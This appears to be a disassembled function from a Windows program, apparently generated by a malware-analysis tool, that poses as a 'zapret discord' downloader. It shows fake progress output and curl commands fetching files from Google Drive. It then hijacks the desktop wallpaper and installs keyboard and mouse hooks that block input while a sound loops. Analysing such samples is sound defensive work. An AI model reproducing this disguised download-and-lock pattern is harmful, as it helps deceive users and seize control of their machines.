Function at 0x140001050
Capabilities:
Execute command
Log keystrokes via application hook
Log keystrokes via polling

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rdx, [0x140003330]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:___________________0_
call fcn.140001370
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:__________________8_
call fcn.140001370
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:________________23_
call fcn.140001370
lea rcx, str.mkdir__C:Program_Files__x64_____NUL_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:____________35_
call fcn.140001370
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:__________41_
call fcn.140001370
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:________52_
call fcn.140001370
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:_____76_
call fcn.140001370
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:____92_
call fcn.140001370
lea rcx, str.curl__L__https:__drive.google.com_uc_exportdownloadid1X4kCpxgy4YQ7pSHKQYqZnG1AQGIyjudM___o__C:Program_Files__x64_zapret.wav___s
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__L__https:__drive.google.com_uc_exportdownloadid1aWCgCfJSNxh2_tZxmLmkglJyGDV9rF7B___o__C:Program_Files__x64_zapret.png___s
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.download_zapret_discord:__100_
call fcn.140001370
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003388]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 1
lea r8, str.C:Program_Files__x64_zapret.png
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
xor r9d, r9d
lea rdx, section..text
xor r8d, r8d
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140005670], rax
test rax, rax
jne 0x140001271
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001610
add rsp, 0x68
ret
xor r9d, r9d
lea rdx, [0x140001030]
xor r8d, r8d
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140005678], rax
test rax, rax
jne 0x1400012b8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x140003338]
call fcn.140001370
mov rcx, rax
lea rdx, [0x140001550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Blocker_enable.
call fcn.140001370
mov rcx, rax
lea rdx, [0x140001550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, str.C:Program_Files__x64_zapret.wav
mov r8d, 0x20009
call qword [sym.imp.WINMM.dll_PlaySoundA]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000134d
nop word [rax + rax]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14000134d
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001310
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001610
add rsp, 0x68
ret